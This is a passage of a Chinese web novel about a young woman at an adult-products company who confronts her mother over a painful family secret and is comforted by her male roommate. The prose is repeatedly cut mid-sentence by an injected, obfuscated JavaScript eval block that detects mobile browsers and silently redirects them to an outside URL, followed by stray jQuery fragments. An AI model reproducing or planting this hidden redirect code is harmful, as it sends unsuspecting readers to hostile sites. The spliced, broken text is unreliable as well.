“你不陪我玩，我买套有什么意思？” 情况恶劣的，她们只能直接将人请出直播间。 结果对方换了一个账号，下次再来，说话更加难听。 “都出来卖了，还不让人说实话？又要当婊子又要立牌坊。” 除了男人之外，就连一些女孩子也不理解。 “为什么大数据又给我推这些直播？” “安全套难道不是男人用的吗？请推给男人好嘛？” “不理解，真的会有女孩子自己买套吗？上赶着去舔男人吗？” 但是，每一次主播都只能装作看不见，若无其事地完成直播。 她本来以为是主播经历得多，心理素质过硬。 直到刚才，她看到那条评论，身体无法控制地愤怒、发抖，她突然觉得自己错了。 没有人能在这种性骚扰、污蔑、诋毁中，假装若无其事。 所有人，都会以为在成人用品公司工作的人，就是开放、浪荡，可以被随意地伤害。 可是，她们又做错了什么。 她们不过是想有份工作而已。 她突然觉得好累。 在此之前，虽然她也有偏见，但是入职之后，她是真的越来越喜欢这份工作。 所以，她想要努力做好。 就算公司并不强迫她参与产品的测评，她都努力想要尽力多做一点。 但她只要多做一点，被误解就多一点。 为什么她越努力，反而越难受？ …… 直到第二天，林晚星的心情依旧很低落。 不过其她同事都忙于应对新产品的负面，大家都没太注意到她的情绪。 看着大家都在忙碌的样子，林晚星却感到更加失落。 好像只有她是最闲的。 中午临近下班，林晚星突然接到了妈妈的电话。 “林晚星，在上班呢？” “是啊。”林晚星问道，“怎么这个点给我打电话？” 罗青盈故作神秘地说：“你猜我在哪？” 林晚星没什么心情猜谜语，她这个时候难道不应该也在上班吗？ 可是，如果是的话，也不用她猜了。 她突然福至心灵，双眼瞪圆，不可思议地问道：“你别告诉我，你在江城？” 罗青盈得意地笑了一声：“Bingo！” 林晚星皱着眉头，心里忐忑：“你怎么突然跑来江城？” 罗青盈随口搪塞：“刚好有朋友过来，想着你在，就一起过来看看你。” 林晚星：“你们已经到了？” 罗青盈：“是啊，你公司在哪呢？中午在你公司附近吃个饭吧？顺便介绍个人给你认识。” 林晚星有一种不祥的预感：“你不是想给我搞相亲吧？” 罗青盈笑了：“我没那么老土。” 林晚星：“那你要介绍什么人给我认识？” 罗青盈又笑了：“我男朋友。” 林晚星霎时顿住了。 13. 第 13 章 林晚星从来没想过，她妈妈还会交男朋友。 在她一岁那年，爸爸林运辉和妈妈罗青盈婚姻失败，两人离婚。 那时的她还小，对这一切都没有印象。 只是从家人、亲戚、邻居的口中得知，妈妈在生下她之后，性情大变。 两人终日吵架，最终婚姻难以为继，离婚收场。 别人都说，孩子是维系婚姻的纽带，而她却是剪断父母爱情的剪刀。 也不知道是不是因为这个原因，妈妈离婚后，并没有争取她的抚养权。 甚至平时也很少去看望她，只是过年以及她生日的时候出现，匆匆见了一面就离开了。 4岁之前，她是跟爸爸一起生活。 一开始，爸爸和奶奶都很宠她。 但是爸爸在离婚一年后，就娶了新的老婆。 两人结婚一年后，他们有了自己的小孩。 林晚星开始变得像是寄居在别人家庭里的小孩。 家里所有人的爱，都流向了刚出生的弟弟。 弟弟一岁那年，继母去做饭，叫她帮忙照看一下弟弟。 这时候的小孩，正是最难搞的时候，人菜瘾大。 他跌跌撞撞地想要爬到电视柜上，林晚星多次阻拦无果，又担心他摔倒，只好强行将他抱下来。 但那时的她，也不过是4岁的小孩。 弟弟用力一挣扎，她抱不住，两人一起摔在地上。 继母听到弟弟的哭声，赶紧从厨房跑出来。 看到仰面摔在地上的儿子，她心疼地赶紧过去抱起，另一只手却用力地拧着林晚星的耳朵，将她从地板上拽起来，骂道：“叫你看下弟弟，这点小事都做不好，还把他摔了。你是想害死你弟是吗？你跟你那恶毒的亲妈一样！小小年纪就那么歹毒！” 当天，继母和爸爸大吵了一架，仿佛她再留在这个家里，他们的宝贝儿子就会死于非命。爸爸最终决定将林晚星送回妈妈身边。 那时候的她，对妈妈所有的印象都是从奶奶、继母以及其他亲戚口中零碎的评价构建而得—— 她是一个脾气暴躁、性格古怪、难以相处的女人。 她还记得，爸爸将她送回到妈妈身边时，妈妈惆怅地看了她一眼，毫不掩饰脸上的为难。 她顿时浑身绷紧、瑟瑟发抖。 但妈妈还是将她留了下来。 那时的罗青盈，是一家报社的记者。 每天早出晚归、工作不定时，她连自己都照顾不好，更别说照顾她。 罗青盈将她送到幼儿园，但她的工作性质让她无法准时接送。 于是她把外婆从老家叫了过来。 在这个新家生活了一段时间后，她发现妈妈也不像别人说得那么可怕。 外婆更是宠她宠得无法无天。 属于这个年纪的小孩天性逐渐被释放出来，她过得比在爸爸家里还快乐。 半年后，在回家路上，她和同学追逐，没有注意到路上疾驶而来的摩托车。 外婆慌慌张张地跑过来拉扯她。 车是躲过了，外婆却崴了脚，重重地摔了一跤。 当晚，外婆住院了，罗青盈在医院忙到很晚才回来。 知道自己闯了祸的林晚星，一声不吭地低着头坐在凳子上。 罗青盈拉过一张凳子，坐在她面前，双手捧着她的脸抬起来。 “平时不是总是叽叽喳喳吗，今天怎么一句话都不说？” 林晚星觉得妈妈肯定又要把她送走了。 爸爸的家她是回不去了，那么她还能去哪里？ 不会是要把她送去孤儿院吧？ 感觉到暴风雨将至，林晚星“哇”地一声哭了起来，眼睛像关不上的水龙头直往外淌水。 罗青盈却“噗嗤”一声笑了：“你哭什么？” 她大哭着说：“妈妈，你不要把我送走！我再也不在路上跑了，我以后会乖的，会很乖的，我不想去孤儿院！” 罗青盈却大笑起来：“你有爸爸，有妈妈，哪家孤儿院要收你啊？” 嗯？林晚星意识到，妈妈好像并没有要把她送走，这才止住了哭声，不解地看着她。 罗青盈很认真地跟她说：“这事不怪你，是妈妈没考虑周到。外婆年纪大了，这次又摔了一跤，以后可能不能再照顾你了。” 林晚星吸着鼻子，还在瑟瑟发抖。虽然妈妈的意思是不打算把她送走，可是外婆受伤了不能照顾她，那她们以后该怎么办呢？ 罗青盈看着她的小苦瓜脸，笑着捏了捏她的小鼻子： “听过女人能顶半边天么？我们两个女的，还怕撑不起一片天？” 说完，罗青盈笑着揉揉她的小脑袋：“怕什么，咱们娘俩怎么都能活。” 那时的她，其实并不懂那么多。 那时的罗青盈，也不觉得让一个5岁的小孩和她一起撑起另外半边天太过沉重。 她也从来没像其她妈妈一样喊林晚星“宝宝”、“宝贝”，而是直呼其名。 她很经常会怀疑，妈妈到底爱不爱她，是不是没有把她当作女儿。 年纪渐长，她越来越确定，她的妈妈确实没有把她当成女儿。 而是将她当成一个和她一样能顶天立地的女人。 她们年纪虽然相差很多岁，但她们是平等的。 她曾经在爸爸家里需要看人眼色生活的习惯，在妈妈这里渐渐戒掉了。 无论她有什么想法，她都可以跟罗青盈提。 罗青盈会认真倾听，可以支持她会支持，不可以支持她也会认真地跟她解释。 外婆在医院养好了伤，被罗青盈送回老家后，她独自一人肩负起照顾林晚星的责任。 每天幼儿园下课，她先去把林晚星接到单位，等她工作完，再一起回家。 偶尔她有工作不能及时去接她，也会尽量赶在6点前到幼儿园，这是幼儿园能在托管的最后时间点。 但生活就是总有意外。 有一天，罗青盈临时要跑一条突发，一直到晚上9点才赶到幼儿园。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543148|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师丝毫不掩饰自己的情绪，说道：“星星妈妈，我知道你工作忙，但我请你也体谅一下我。我们老师也是有家庭有生活的，不可能总是这样帮你带小孩。” 罗青盈低三下四地再三道歉。 在回去的路上，两人默默无言。 林晚星又涌起自己是负累的心理，她主动提议道：“妈妈，以后放学我就自己回家，不用来接我的。我绝对不乱跑，你不用担心！” 罗青盈只是揉着她的头，笑了笑，什么都没说。 但是，之后她几乎每天都能准时去接她放学了。 过了很久之后，她才知道，原来妈妈换了一份工作。 她从报社换到保险公司，从记者变成一个保险销售。 小时候的她，对工作没概念。 只是很高兴，妈妈每天都能准时去接她放学。 长大后，回想起这件事，她才知道，罗青盈为了她，不是换掉了一份工作，而是放弃了自己的理想。 但罗青盈真的很厉害，她入职这家公司一年后，几乎年年蝉联公司的销冠。 虽然罗青盈说，她们两个女的，要一起撑起这一片天。 但是，从4岁到22岁，这18年间，一直是罗青盈独自支撑。 她也从未想过找男朋友。 不是没有人给她介绍，但是都被她推掉了。 对方隐晦地问：“你还年轻，真的就不想再找个男人啊？” 罗青盈只是笑了笑：“又不是没了男人就不能活。” 那时候，林晚星只觉得罗青盈说得有道理，她们不用男人也活得很好。 林晚星仰望着罗青盈长大，渴望自己终有一天，真的能和她一起支撑。 在她心里，罗青盈就是世界上最厉害的人。 她漂亮，又酷又飒，不被世俗定义。 她也是长大后才明白，其他人口中的罗青盈为什么“脾气暴躁、性格古怪、难以相处”。 只是因为她不符合世俗对于一个好女人的标准。 那时候的人们口中的好女人，无非就是贤妻良母，能够孝顺公婆、相夫教子。 但罗青盈不是。 她不喜欢当一个妻子，也不喜欢当一个母亲。 所谓智者不入爱河，她觉得罗青盈根本不需要男人，也不需要爱情。 尤其是她还经历过婚姻失败，罗青盈应该这辈子都不会再踏入这条河流的。 可是，今天接到她电话的那刻，林晚星的世界顷刻崩塌。 罗青盈竟然找男朋友了。 或许，罗青盈并不是真的不需要男人。 她只是在等。 等到她大学毕业，等到她完成作为妈妈的责任，等到她从妈妈这个身份毕业。 她也许从一开始就没想过要和她一起撑起这片天，她只是想让她尽快成长，好让自己顺利毕业。 林晚星仿佛回到两岁那年，爸爸迎娶了新的老婆。 现在她的妈妈也有了男朋友。 她又要被抛弃了。 14. 第 14 章 林晚星在公司附近一家餐厅见到了罗青盈和她的男朋友。 罗青盈今年47岁，比林晚星公司的沈碧只小一岁。 她看起来和沈碧一样，依旧保持着健康匀称的身材，穿着一件棕色的风衣，利落的齐肩直发，脸上带着淡雅的妆容，看起来神采奕奕。 难怪现在依然有男人会为她着迷，就连林晚星也觉得她妈最美。 坐在她身边的男人，五官端正，但谈不上很帅。 看上去岁数和罗青盈差不多，一脸稳重憨厚的样子。 看到林晚星进来，罗青盈笑意盈盈地侧着头，抬起手在空中挥舞。 林晚星勉强挤出个微笑，走了过去。 “我还是正式介绍下。”罗青盈看着两人都有些尴尬的样子，率先开口说道，“这是晚星，我女儿。这是高远，电话上告诉你啦，这是妈妈的男朋友。” 林晚星礼貌地喊了一声：“高叔叔好。” 高远立马松弛下来，咧嘴笑道：“好好好，晚星你好，终于见到你了，总是听你妈妈说起你。” 林晚星一怔，看向罗青盈：“你们谈很久了？” 罗青盈略微思索片刻：“半年多吧。” 那就是差不多她毕业那会，他们就开始谈了。 还真是掐着时间来的啊。 “那你怎么现在才跟我说？” “这不是想等稳定点再说嘛！”罗青盈白了她一眼，“我又不是十八二十的小姑娘了，谈个恋爱还要公告天下啊。” 见气氛莫名有点僵，高远将菜单递到林晚星面前，说：“晚星要不先看看吃什么？” 这顿饭吃得不算愉快，但也没爆发什么冲突。 大家都恪守着自己应有的礼貌，更像一场人情世故的应酬。 眼看时间差不多，罗青盈问道：“你们午休多？是不是快要回去上班了？” “我下午请假了。”林晚星解释说，“想着你们好不容易过来一趟，下午可以陪你们去走走。” 不喜欢是一回事，应尽的礼仪应该尽到。 这是她能想到作为“东道主”，她能做到的。 听到这话，罗青盈却反而有些为难：“哎呀，怪我，没跟你说清楚。我们恐怕没时间跟你去逛了。你高叔叔下午还约了客户。我们这次过来，是你高叔叔有个项目。我想着你在，就顺道来看你。” 哦，原来她只是“顺道”。 那种觉得自己是多余的感觉猝不及防地从心底滋生，迅速蔓延全身。 林晚星极力控制住自己微微颤抖的身体，什么都没说，失落地垂下眼眸。 “要不这样吧。”高远看出了林晚星的失望，建议道，“青盈你和晚星难道见面，下午就好好跟晚星去逛逛。我见完客户再来找你们。怎么样？” “也行。”罗青盈笑着看向林晚星，“本来没想打扰你上班的，不过既然你都请假了，那我下午就听你安排啦。” 林晚星苦笑一下，没有提出异议。 她总听说“会哭的孩子有糖吃”，可是她认为，要哭才能得到的糖，早没有了它本来的甜味。 而罗青盈仿佛“施舍”给她的这个下午，像是那颗她要哭才得到的糖。 三人从餐厅离开，高远独自驾车去见客户。 罗青盈和林晚星则在附近的商场闲逛。 罗青盈看着林晚星还是一身学生气的打扮，问道：“想不想买衣服？妈妈送你。” “不用了吧，我有衣服穿啊。” 罗青盈笑道：“工作后多少要备点职业装，哪怕平时不穿，但是总有一些重要的场合需要用到。” 她拉着林晚星去挑了两套适合年轻女孩的职业套装后，两人又不知道应该去哪里了。 罗青盈嗔怪道：“还说陪我逛，你自己都不知道要去哪。” 林晚星解释：“我平时很少出来逛街。” 罗青盈突发奇想：“那要不去你住的地方看看？” “啊？”林晚星一惊，“这有什么好看的？” “当妈妈的，想看看女儿住的地方，这有什么奇怪的。” 林晚星无法反驳，而且好像也没什么不可以看的。 “那我跟我室友说一声先。”林晚星解释，“我是跟人合租的，带人上去需要先通知下对方。” 罗青盈理解：“应该的，你先说吧。” 林晚星掏出手机，给陈图森发了条信息：【我妈今天过来，想上去我们住的地方看看。不过你放心，我不会让她进你房间和动你的东西。】 过了两分钟，陈图森回复了一个“OK”的手势。 林晚星收起手机：“他说没问题，我们走吧。” 罗青盈跟着林晚星来到滨江花园，她看着小区环境，满意地说：“这里还不错。房租会不会很贵？” “月租5000，不过我跟人合租，五五分，就还行。” 罗青盈同意地点点头。 两人来到702，罗青盈走进来，就看到曾经在朋友圈看过的“一线江景”。 她笑着走去阳台，打趣道：“果然是‘一线江景’啊！” 不过，虽说前面江景被房子挡住了，但阳台对着小区的花园，视野采光都还不错。 林晚星心情稍微好了一些，“嘿嘿”笑道：“你女儿眼光不错吧。” “是，很不错。”罗青盈顺着她的话一边说着，一边往屋里走，“都不用妈妈操心了。” 房子不大，罗青盈随意走两步便了解了这房子格局。 她放下包，没想太多就直接走进公卫，说：“我上个厕所。” “好。”林晚星在给罗青盈倒水，抬头看到她走进公卫，猛然反应过来，赶紧将水放下，追了上去，“妈！” “干嘛？”罗青盈又探出半个身子，问道。 “你先出来。”林晚星拽着罗青盈的手腕，将她带出来，说，“这是我室友的。房子有两个厕所，我和他一人一个，平时都是各用各的。” “哦。”罗青盈应道，往外走的时候，忍不住回头，视线扫过卫生间里的剃须刀和男士洗面奶。 林晚星还抓着她的手腕，将她带到自己房间，说：“这是我的房间，里面厕所才是我的。” 罗青盈顺便环顾一圈林晚星的房间，说：“你房间挺大的，是主卧啊。不用多出一点钱？你室友也愿意跟你五五分？” 林晚星没有解释说陈图森只住一个月，只说：“嗯，他人挺好的。” 罗青盈的目光从房间上空落到下方时，被桌子上一盒东西吸引住了。 不过她的视线只是短暂地在上面停留，什么都没说，被林晚星推着走进卫生间。 将罗青盈送进卫生间后，林晚星一转身，才看到昨晚从陈图森房门外回来，就顺手放在桌子上的小雨伞！ 因为陈图森也知道她的职业，而且一般情况下，也不会进她的房间。 因此她平时并没有要把这些东西藏起来的意识。 这下她忍不住倒吸一口气，糟了！也不知道罗青盈看到了没！ 不管她刚才看到了没，亡羊补牢总比不补好，她拿起那盒东西，打开衣柜门，随手扔了进去。 罗青盈上完厕所出来，目光不经意地落在桌子上，却发现刚才看到的东西不见了。 林晚星若无其事地笑着说：“喝水吗，给你倒好了。” 罗青盈看着林晚星的样子，鼻子忍不住哼笑出声。 从小到大，她做了什么不想让她知道的事，就是这副模样。 林晚星立刻正色道：“你笑什么？” “笑……我的女儿，好像真的长大了。现在会反过来招呼妈妈了。” “嘻嘻，那当然。” 林晚星笑嘻嘻拉着罗青盈的手往外走：“别在我房间待着了。你要不要看电视？” 这部电视平时就像个装饰。 她和陈图森都不会在客厅看电视，因此也没有人会去买会员。 就算有电视，能看的节目也不多。 林晚星一个个节目地选择，看到想看的点进去，却出来一个购买会员的二.维码。 她沮丧地说道：“没什么能看的。” “不折腾了。”罗青盈喝完水把杯子放下，看向林晚星，开口说道，“林晚星，我问你个事。” “你说。” “你那个室友，是男生？” “啊！”林晚星吓了一跳，险些把遥控器都掉了，“你，你看出来啦？” 罗青盈轻笑着摇摇头，脸上写着“你妈又不傻”，她认真地看着林晚星，说道：“到底是室友，还是男朋友啊？” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543149|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友？就是室友！我跟他是非常非常非常纯洁的室友关系。” 林晚星皱着眉头，反过来教育罗青盈，“罗女士，你不要经常刷小红薯乎子的，什么合租男女那些乱七八糟的事，都是在编故事的。在大城市，男女合租很正常的。” 罗青盈半信半疑地看着她：“看来你看得不少。” 林晚星：“……” 她也就刚和陈图森合租那会，郁闷地在小红薯发了个笔记—— 《女大学生合租租到异性室友，应该怎么办？》 评论区的画风是这样的： “很快就变炮友了。” “你们迟早会变成室友不像室友，不是男朋友胜似男朋友。” 还有很多是：“蹲后续”。 反正就一堆乱七八糟的，没一个在认真回答问题。 罗青盈却笑了笑：“非常纯洁的室友关系，为什么你还要准备套啊？还是交男朋友了，但不是这个室友？” 林晚星简直五雷轰顶，果然被她看到了那盒套套。 她严肃地说：“罗青盈女士，这个我可以解释的。” 罗青盈抱着双臂往沙发上轻轻一靠，说道：“嗯，你解释吧。” 林晚星正想说，这是她们公司的产品，她拿回来不过是为了体验公司产品。 不过，话到了嘴边，这段时间乱七八糟的事情却突然涌了上来。 明明正儿八经的事，却莫名染上了奇奇怪怪的颜色。 她不知道罗青盈会怎么想。 她突然担心，罗青盈也会说出和那些人一样的话。 心生沮丧，林晚星顿时失去了解释的打算：“算了，我也不知道怎么解释。” 罗青盈摇摇头，笑道：“果然长大了，都开始对妈妈有秘密了。” “其实吧，你也不小了，谈恋爱很正常，妈妈又不会反对。而且，你们有意识会做措施很好啊。妈妈问你，不是想说你，只是关心你。” 林晚星欲哭无泪：“妈，真的没有。那东西，我是自己玩玩的。” 罗青盈似乎不相信：“自己玩？” “嗯！”林晚星点点头，“反正，室友就是室友，不是男朋友。” “你别自己谈了恋爱，就觉得其她人都离不开男人。” 罗青盈一怔，没想到林晚星会说出这样一句话。 她有些诧异地看着她，最后轻轻叹了口气，说：“算了吧，你也长大了，能对自己的事情作主，妈妈不会干涉你太多。我只是想提醒你，谈恋爱没问题，但一定要保护好自己，做好措施，不然你要是刚毕业就有小孩，会很麻烦的。” 罗青盈说这段话，除了是出自对女儿的关心，也是从一个过来人的身份，对一个年轻女孩的提醒。她像以前一样，无论林晚星多少岁，她都是将她看作一个和她一样平等的人。支持她想做的决定，但给予她适当的提醒。 然而，她并没有意识到，她们地位可以平等。 但身份上，林晚星永远是她孩子。 “刚毕业就有小孩，会很麻烦”的提醒，成了一把扎向林晚星的刀。 她忍不住去想，自己对于罗青盈来说，曾经是不是那个“会很麻烦”的小孩。 一旦在脑海里种下这样的念头，它就会迅速扎根，将她整个心智占领。 林晚星紧紧抿着双唇，拇指的指甲盖一下又一下地嵌入另一只手指的指肉。 气氛有些微妙。 罗青盈意识到两人今天不适合再聊下去，站起来，说：“好吧，你住的地方我看过了，该说的我也说了。你高叔叔应该差不多完事了，我准备走了。” 林晚星没有站起来送罗青盈，呆滞地坐在沙发上，下唇被牙齿咬得泛白，怔怔地看着她转身的背影。 她似乎根本没有意识到自己刚才说的那句话有什么不妥，仿佛这就是一个无需争辩的事实，只是林晚星自己没有一早看清而已。 从接到她电话起就被压抑住的情绪突然爆发，她看着罗青盈的背影问道： “所以，你以前也觉得我是个麻烦，是吗？” “你说什么？”罗青盈微微皱着眉头转身。 “因为我对你来说是个麻烦，所以在我很小的时候，你曾经想把我淹死，是不是？” 罗青盈双眼缓缓瞪大，脸色煞白。 15. 第 15 章 罗青盈声音颤抖地问：“谁告诉你的？” 如果不是罗青盈刚才那句“善意的提醒”，林晚星几乎要把这件事给忘了。 因为她的脑海里并没有关于这件事的记忆，只是4岁那年，她把弟弟摔了，继母拧着她的耳朵骂道：“你跟你亲妈一样那么恶毒！你弟那么小你也忍心？难怪你妈都不要你！你刚出生她就想把你淹死！她为了甩掉你，宁愿跟你爸离婚！她倒好！她解放了，却把你扔到我们家来祸害我们！” 那是林晚星第一次听说这件事，也是唯一一次。 那时的她，对自己亲生妈妈没什么印象，也没什么感情，这件事对她来说更多是困惑。 心上的痛，不如耳朵被拧伤的痛。 后来偶尔还会想起，她不知道继母是一时的气话，还是说的真话。 她不敢去求证，因为她怕是真的。 后来，她和罗青盈相处过后，发现她不像别人说的那么坏。 她甚至没有骂过她一句，也没打过她。 哪怕她闯祸了，哪怕她气极了，她也是把她拉到面前，语重心长地和她讲道理。 于是，她慢慢把这件事淡忘了，在潜意识里认为，这是继母骗她的气话。 直到刚刚，罗青盈亲口说：“有了孩子就会很麻烦。” 这句话释放了她藏在角落里的这段回忆。 而她也没有否认这件事。 林晚星近乎绝望地问道：“那就是真的了？” 罗青盈紧抿着嘴唇，轻轻别过脸。 她没有承认，也没有否认。 在某种程度上，这是默认。 她也不再追究是谁说的，知道这事的无非就是那几个人。 而且，是谁说的，又怎样。 现在也没法让对方收回这句话，当什么都没发生过一样。 她的胸口有些急促地上下起伏，看着林晚星，微喘着气说：“如果你想听我解释，我可以。” 像是有个铅块重重地砸在心头，林晚星沉沉地吐了一口气：“如果是真的，那还有什么好解释的。” 一时错手？情绪失控？不管是什么，罗青盈就是有过这个念头。 可是，她又有什么错呢？ 不是她自己选择来这个世界上的，反而是选择把她带来这个世界上的人，一次又一次地想要抛弃她。 既然这样，为什么又要生下她？ 罗青盈也很难过。 她站在原地，踟蹰不定，继续待着也不是，离开也不是。 她不否认这件事，但是她没想过林晚星竟然知道这件事。 更没想过这件事竟然会在这种场合被挑开。 一阵急促的铃声打破了眼前令人窒息的僵局。 罗青盈恍惚地拿出手机，是高远来电。 她转过身，接起电话，压低声音：“喂。” “你们现在逛到哪了？我这边结束了，正在过去。” “我待会发你定位，先不说了。”罗青盈匆匆挂掉电话。 林晚星从这通电话中清醒过来。 她在干什么呢？她在审判罗青盈吗？她是要她的道歉，还是要当年的真相？ 好像什么都不是。 她只是心里很堵。 所以，她刚才说的话，都是故意这么说，好让罗青盈也跟自己一样难过吗？ 真是幼稚。 “嗐。”林晚星突然自嘲一声，笑道，“其实我也不是要怪你。都那么久之前的事了，我就是突然想起。我懂的，谁没有过情绪失控的时候呢！”她小时候还看过邻居的小孩被他爸爸用衣架打得伤痕累累。 她甩甩手说：“你去约会吧，我就不去当电灯泡了。” “晚星……”罗青盈还想说什么，却又不知道该说什么。 空气再次凝滞。 林晚星不习惯这样，她甚至有些后悔自己说出了那句话。 这种事情就应该让它烂在肚子里。 非要去寻个真假又如何，只会让所有人都难受。 她的妈妈当年因为她失去了爱情，失去了婚姻，失去了理想，她这些年已经做得够多了。 如今她只是想从妈妈这个身份毕业，去重新找寻自己的爱情而已。 “真的没怪你。”林晚星强颜欢笑地上前推着她的后背，将她推出门口，“你去约会吧，别让你男朋友等太久。” 罗青盈回头，欲言又止：“晚星……” 林晚星却笑着挥手道：“拜拜。” …… 陈图森回来的时候，屋子里黑漆漆的，一盏灯都没有。 他以为林晚星和她妈妈出去了不在家。 下班的时候，他发了几条信息问她今晚是在家吃饭还是和她妈妈在外面吃，她都没回复。 于是，他自己在外面吃了才回来。 他顺手打开灯，刚换好鞋，抬起头却猛地被吓了一跳。 阳台上有个人影。 他微微皱眉，往里走近了些。 那个人影身形娇小，几缕头发在晚风中随意飘扬，她整个人似乎也摇摇欲坠，要是风再大一点，她说不定就会被风吹走。 陈图森缓缓地走过去，站在她的边上，侧头看去。 “林晚星？” “嗯？”林晚星扭头看了过来，双眼迷蒙，缀着细细碎碎的星光，像是摔碎后被重新粘起来的玻璃球。 陈图森的心蓦地被玻璃渣子扎了一下：“真是你啊？怎么不开灯？” 林晚星仰起头，闭上眼睛说道：“我想安静地吹吹风。” 恰好一缕晚风吹来，吹散了她额前的发丝，飘飘扬扬的头发拂过有意无意地拂过陈图森脸颊。 像一片羽毛在脸上扫过，酥酥痒痒的。 陈图森眉头微蹙，轻轻向后退了两步，避开了发丝，却没注意到它们已缠绕在他的心头。 林晚星很不对劲，她身上没有酒气，身边也没有酒瓶，整个人却跟醉了一样。 他不是一个会关心人的人，但他此刻的心却像被轻轻地揪着，不舒服。 他不善言语，不懂得如何安慰人，只能笨拙地问：“你怎么了？” 林晚星仍闭着眼睛，嘴角浅浅地笑了一下：“就是想吹吹风而已。” 她没回答，但他不笨，想到她下午说她妈妈过来，还要上来他们住的房子看看。 他很自然地就想到，她可能是跟妈妈发生矛盾了。 至于是什么矛盾，他更不好问。 毕竟，他觉得自己和林晚星，好像也还不到可以互相关心对方私事的程度。 只是，哪怕他不问，有些答案也会顺其自然地冒出来。 大概是知道了她和异性合租吧？ 陈图森站在边上，一句话不说。 他觉得怪尴尬的，可是也不知道自己就这么走掉，会不会不好。 如果她和妈妈真的因为合租的事吵架，那他多少是有点责任的。 陈图森又陪她站了一会，终于开口说道：“你也别难过了，我很快就搬。” “嗯？”林晚星终于睁开眼睛，不解地转过头看着他。 “我找到房子了。” 其实他前两天就找到一个挺合适的房子，就在公司附近，步行5分钟就到。只是房租稍微贵一点，要4000元。 他还没确定下来，他也不太确定自己在犹豫什么，只是还想再观望下。 可是，就在刚刚，他决定了。 迟早都要搬的。 虽然不是他的错，但他也不想再给林晚星带来麻烦。 “快的话，这周末就可以搬。” 当时房产中介跟他说，拎包入住，签合同了就可以立刻搬进来。 他说完，小心地抬眸，在夜色中观察林晚星的反应。 可是，奇怪的是，她好像并没有感到开心。 她的眉毛紧紧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543150|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拧在一起，嘴巴惊讶地微微张开。 一阵凉风刮过，割断了串眼泪的细线。 林晚星的泪珠断线，终于忍不住滚落下来。 她哽咽地问道：“你要搬走？连你也不要我了？” 上天怎么可以这么残忍。 她今天刚知道她妈妈有男朋友了，刚确认了她妈妈在她刚出生不久就想不要她。 现在，她好不容易熟悉起来的室友也要搬走。 是不是，这个世界上，没有人喜欢她？没有人需要她？ 这个问题真的把陈图森问倒了。 难道不是林晚星一直希望他搬吗？ 而且，他们一开始就协商好的，一个月后他就搬走。 “我们当初不是说好了吗？”陈图森颇为无辜。不过，他转念想到，她之所以不开心，是不是还没找到室友，要一个人负担房租？ 他关心道：“你是不是还没找到新室友？” 新室友？ 他们当初说好的？ 哦，是…… 林晚星想起来了，他们确实是这么说过。 这一个月，他找房子，她找室友。 她一开始，确实有在认真找。 不过，后来跟陈图森相处得越来越融洽，她又忙于工作的事，慢慢把这件事淡忘了。内心似乎已经默默接受了陈图森作为自己室友这件事。 她不知道， 原来，陈图森一直在积极地找房子。 原来，真正想搬走的人是陈图森。 林晚星别过头，用力地吸了吸鼻子，说道：“算了，你找到房子就搬吧，不用管我。” 陈图森低垂着眼眸，手足无措，他好像又做错了。 第一次有女孩子在他面前哭，而且，好像还是被他惹哭的。 但他却不知道自己哪里做错了。 林晚星的眼泪一颗颗地滴落下来，仿佛砸在他的心头。 他的心莫名地一抽一抽，有些闷，有些涩，也有些痛。 他走进客厅，抽了两张纸巾，递到林晚星面前。 “你不用担心，我也帮你问问有没人要租房子。放心，我会说清楚要女的。” 林晚星低头看着两张折在一起的纸巾。 人真的很奇怪，亲人都可以反目，但是却会因为陌生人施舍的一点点善意而感动。 就像现在，她会怀疑罗青盈18年的爱，却因为陈图森递过来的两张纸巾心弦颤动。 她仿佛从船上坠落大海，漂泊无望的时候，有人给她递来一块浮木。 她想抓住这块浮木，她也想抓住给她递浮木的人。 她接过纸巾，抬起头看着陈图森。 他的双眼很澄澈，漾着担心和歉意。 她的心也跟着泛起涟漪。 这似乎完全是身体的自然反应。 就像动物受伤后，喜欢被同伴舔舐伤口。 她此刻也想要被人拥抱，想要被人爱抚，想要被人填满。 想要被人需要。 她很想尝试一下那种感觉。 林晚星没头没脑地冒出一句：“陈图森，你还想试吗？” 陈图森不解：“试什么？” “套啊。”林晚星笑着说，“你昨晚不是说，你可以试，但不知道跟谁。” 她甩了甩头，将被风吹散到眼前的头发扬到后边，说道：“要不跟我试试吧？” 陈图森呼吸一滞，喉咙无法自控地出卖了他，充满渴望地上下滑动了一圈。 但他没有让这欲望放纵。 从小的规训，道德感像血液一样融于体内。 他无法接受这种莫名其妙的一夜情，更无法纵容自己趁虚而入。 “你心情不好，我就当你开玩笑。” 